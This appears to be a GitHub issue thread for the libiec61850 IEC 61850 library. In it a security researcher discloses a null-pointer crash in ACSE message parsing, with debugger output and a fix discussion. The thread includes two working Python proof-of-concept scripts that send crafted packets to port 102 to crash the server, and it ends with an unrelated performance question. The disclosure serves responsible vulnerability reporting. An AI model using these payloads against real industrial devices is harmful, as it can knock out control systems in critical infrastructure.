libiec61850
libiec61850 copied to clipboard
Denial of Service caused by uninitialization pointer read
when AcseConnection_parseMessage function parse ACSE message, there is a path where the pointer to buffer not initialization, will cause a segment fault by reading 0 address and crash the server, the following is a simple POC code in python and some analysis
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 102))
payload = b'\x03\x00\x00\x17' #tpkt header, version3
payload += b'\x02\xf0\x80' # cotp header, DT Data
payload += b'\x0d\x0e' # SPDU type CONNECT 13,
payload += b'\xC1\x0c' # Session user data
payload += b'\x31\x0a' # CPtag 0x31
payload += b'\xff\x08'+b'\xbb'*0x8 # 0xff as a unknown tag which will not be parse
s.send(payload) # send payload
because there is no normal-mode-parameter(0xa2), parseNormalModeParameters will not be called src/mms/iso_server/iso_connection.c:226 self->presentation->nextPayload will be null in the next AcseConnection_parseMessage function, acseBuffer will be null , then src/mms/iso_acse/acse.c:432 will try to read from 0.
Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0xc
$rdx : 0x0
$rsp : 0x00007fffffffe160 → 0x0000555555870778 → 0x0000000000000000
$rbp : 0x00007fffffffe1a0 → 0x00007fffffffe2f0 → 0x00007fffffffe320 → 0x00007fffffffe350 → 0x00007fffffffe370 → 0x00007fffffffe390 → 0x00007fffffffe3b0 → 0x00007fffffffe400
$rsi : 0x0000555555870778 → 0x0000000000000000
$rdi : 0x0000555555870790 → 0x0000000000000000
$rip : 0x00005555555add8d → <AcseConnection_parseMessage+78> movzx eax, BYTE PTR [rax]
$r8 : 0x0
$r9 : 0x0
$r10 : 0x40
$r11 : 0x246
$r12 : 0x0000555555562f40 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe4e0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe160│+0x0000: 0x0000555555870778 → 0x0000000000000000 ← $rsp
0x00007fffffffe168│+0x0008: 0x0000555555870790 → 0x0000000000000000
0x00007fffffffe170│+0x0010: 0x00007fffffffe1a0 → 0x00007fffffffe2f0 → 0x00007fffffffe320 → 0x00007fffffffe350 → 0x00007fffffffe370 → 0x00007fffffffe390 → 0x00007fffffffe3b0
0x00007fffffffe178│+0x0018: 0xff315555555b0b55
0x00007fffffffe180│+0x0020: 0x0000000c00000008
0x00007fffffffe188│+0x0028: 0x0000000100000000
0x00007fffffffe190│+0x0030: 0x0000000000000000
0x00007fffffffe198│+0x0038: 0x773ed24e14015600
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555add83 <AcseConnection_parseMessage+68> movsxd rdx, eax
0x5555555add86 <AcseConnection_parseMessage+71> mov rax, QWORD PTR [rbp-0x10]
0x5555555add8a <AcseConnection_parseMessage+75> add rax, rdx
→ 0x5555555add8d <AcseConnection_parseMessage+78> movzx eax, BYTE PTR [rax]
0x5555555add90 <AcseConnection_parseMessage+81> mov BYTE PTR [rbp-0x21], al
0x5555555add93 <AcseConnection_parseMessage+84> mov ecx, DWORD PTR [rbp-0x18]
0x5555555add96 <AcseConnection_parseMessage+87> mov edx, DWORD PTR [rbp-0x14]
0x5555555add99 <AcseConnection_parseMessage+90> lea rsi, [rbp-0x20]
0x5555555add9d <AcseConnection_parseMessage+94> mov rax, QWORD PTR [rbp-0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:src/mms/iso_acs[...].c+432 ────
427
428 int messageSize = message->size;
429
430 int bufPos = 0;
431
// buffer=0x00007fffffffe190 → 0x0000000000000000, bufPos=0x1
→ 432 uint8_t messageType = buffer[bufPos++];
433
434 int len;
435
436 bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, messageSize);
437
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_example_", stopped 0x5555555add8d in AcseConnection_parseMessage (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555add8d → AcseConnection_parseMessage(self=0x555555870790, message=0x555555870778)
[#1] 0x5555555a5150 → IsoConnection_handleTcpConnection(self=0x55555584c8c0, isSingleThread=0x1)
[#2] 0x5555555a4460 → handleClientConnections(self=0x555555837f70)
[#3] 0x5555555a4716 → handleIsoConnections(self=0x555555837f70, isSingleThread=0x1)
[#4] 0x5555555a4a3d → IsoServer_processIncomingMessages(self=0x555555837f70)
[#5] 0x55555558146e → MmsServer_handleIncomingMessages(self=0x555555837880)
[#6] 0x55555557b6ef → IedServer_processIncomingData(self=0x5555557f0260)
[#7] 0x5555555634d6 → main(argc=0x1, argv=0x7fffffffe4e8)
I am not an expert in iec61850, in my opinion, may need to add some check before the read operation or restrict a valid message should have some necessary filed?
leommxj from Chaitin Security Research Lab
Thanks for the detailed analysis. I added a check to fix it. Probably there are also more checks required for other missing fields.
in parseNormalModeParameters, when it meets an unknown tag, it will add bufPos and continue parse, which could leave the buffer still not initialized. Below is python POC code.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 102))
payload = b'\x03\x00\x00\x17' #tpkt header, version3
payload += b'\x02\xf0\x80' # cotp header, DT Data
payload += b'\x0d\x0e' # SPDU type CONNECT 13,
payload += b'\xC1\x0c' # Session user data
payload += b'\x31\x0a' # CPtag 0x31
payload += b'\xa2\x08'+b'\xff\x06' +b'\xbb'*6 # 0xa2 as a normal mode para, 0xff will be unknwon tag in parseNormalModeParameters
s.send(payload) # send payload ,
you may want to set the flag inside the parseNormalModeParameters function when the buffer is really initialized?
in parseNormalModeParameters, when it meets an unknown tag, it will add bufPos and continue parse, which could leave the buffer still not initialized. Below is python POC code.
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 102)) payload = b'\x03\x00\x00\x17' #tpkt header, version3 payload += b'\x02\xf0\x80' # cotp header, DT Data payload += b'\x0d\x0e' # SPDU type CONNECT 13, payload += b'\xC1\x0c' # Session user data payload += b'\x31\x0a' # CPtag 0x31 payload += b'\xa2\x08'+b'\xff\x06' +b'\xbb'*6 # 0xa2 as a normal mode para, 0xff will be unknwon tag in parseNormalModeParameters s.send(payload) # send payload ,
you may want to set the flag inside the parseNormalModeParameters function when the buffer is really initialized?
when AcseConnection_parseMessage function parse ACSE message, there is a path where the pointer to buffer not initialization, will cause a segment fault by reading 0 address and crash the server, the following is a simple POC code in python and some analysis
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 102)) payload = b'\x03\x00\x00\x17' #tpkt header, version3 payload += b'\x02\xf0\x80' # cotp header, DT Data payload += b'\x0d\x0e' # SPDU type CONNECT 13, payload += b'\xC1\x0c' # Session user data payload += b'\x31\x0a' # CPtag 0x31 payload += b'\xff\x08'+b'\xbb'*0x8 # 0xff as a unknown tag which will not be parse s.send(payload) # send payload
because there is no normal-mode-parameter(0xa2), parseNormalModeParameters will not be called src/mms/iso_server/iso_connection.c:226 self->presentation->nextPayload will be null in the next AcseConnection_parseMessage function, acseBuffer will be null , then src/mms/iso_acse/acse.c:432 will try to read from 0.
Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0xc $rdx : 0x0 $rsp : 0x00007fffffffe160 → 0x0000555555870778 → 0x0000000000000000 $rbp : 0x00007fffffffe1a0 → 0x00007fffffffe2f0 → 0x00007fffffffe320 → 0x00007fffffffe350 → 0x00007fffffffe370 → 0x00007fffffffe390 → 0x00007fffffffe3b0 → 0x00007fffffffe400 $rsi : 0x0000555555870778 → 0x0000000000000000 $rdi : 0x0000555555870790 → 0x0000000000000000 $rip : 0x00005555555add8d → <AcseConnection_parseMessage+78> movzx eax, BYTE PTR [rax] $r8 : 0x0 $r9 : 0x0 $r10 : 0x40 $r11 : 0x246 $r12 : 0x0000555555562f40 → <_start+0> xor ebp, ebp $r13 : 0x00007fffffffe4e0 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffe160│+0x0000: 0x0000555555870778 → 0x0000000000000000 ← $rsp 0x00007fffffffe168│+0x0008: 0x0000555555870790 → 0x0000000000000000 0x00007fffffffe170│+0x0010: 0x00007fffffffe1a0 → 0x00007fffffffe2f0 → 0x00007fffffffe320 → 0x00007fffffffe350 → 0x00007fffffffe370 → 0x00007fffffffe390 → 0x00007fffffffe3b0 0x00007fffffffe178│+0x0018: 0xff315555555b0b55 0x00007fffffffe180│+0x0020: 0x0000000c00000008 0x00007fffffffe188│+0x0028: 0x0000000100000000 0x00007fffffffe190│+0x0030: 0x0000000000000000 0x00007fffffffe198│+0x0038: 0x773ed24e14015600 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555add83 <AcseConnection_parseMessage+68> movsxd rdx, eax 0x5555555add86 <AcseConnection_parseMessage+71> mov rax, QWORD PTR [rbp-0x10] 0x5555555add8a <AcseConnection_parseMessage+75> add rax, rdx → 0x5555555add8d <AcseConnection_parseMessage+78> movzx eax, BYTE PTR [rax] 0x5555555add90 <AcseConnection_parseMessage+81> mov BYTE PTR [rbp-0x21], al 0x5555555add93 <AcseConnection_parseMessage+84> mov ecx, DWORD PTR [rbp-0x18] 0x5555555add96 <AcseConnection_parseMessage+87> mov edx, DWORD PTR [rbp-0x14] 0x5555555add99 <AcseConnection_parseMessage+90> lea rsi, [rbp-0x20] 0x5555555add9d <AcseConnection_parseMessage+94> mov rax, QWORD PTR [rbp-0x10] ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:src/mms/iso_acs[...].c+432 ──── 427 428 int messageSize = message->size; 429 430 int bufPos = 0; 431 // buffer=0x00007fffffffe190 → 0x0000000000000000, bufPos=0x1 → 432 uint8_t messageType = buffer[bufPos++]; 433 434 int len; 435 436 bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, messageSize); 437 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "server_example_", stopped 0x5555555add8d in AcseConnection_parseMessage (), reason: SIGSEGV ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x5555555add8d → AcseConnection_parseMessage(self=0x555555870790, message=0x555555870778) [#1] 0x5555555a5150 → IsoConnection_handleTcpConnection(self=0x55555584c8c0, isSingleThread=0x1) [#2] 0x5555555a4460 → handleClientConnections(self=0x555555837f70) [#3] 0x5555555a4716 → handleIsoConnections(self=0x555555837f70, isSingleThread=0x1) [#4] 0x5555555a4a3d → IsoServer_processIncomingMessages(self=0x555555837f70) [#5] 0x55555558146e → MmsServer_handleIncomingMessages(self=0x555555837880) [#6] 0x55555557b6ef → IedServer_processIncomingData(self=0x5555557f0260) [#7] 0x5555555634d6 → main(argc=0x1, argv=0x7fffffffe4e8)
I am not an expert in iec61850, in my opinion, may need to add some check before the read operation or restrict a valid message should have some necessary filed?
leommxj from Chaitin Security Research Lab
Hi I need help from you I'm reading parameters from IEC61850 device with python for reading value ,timestamp and quality it is taking 25 milliseconds when I'm reading 30 parameters 25×30 this soo much time can you help me to reduce time, any solution to read parameters with less time
@mzillgith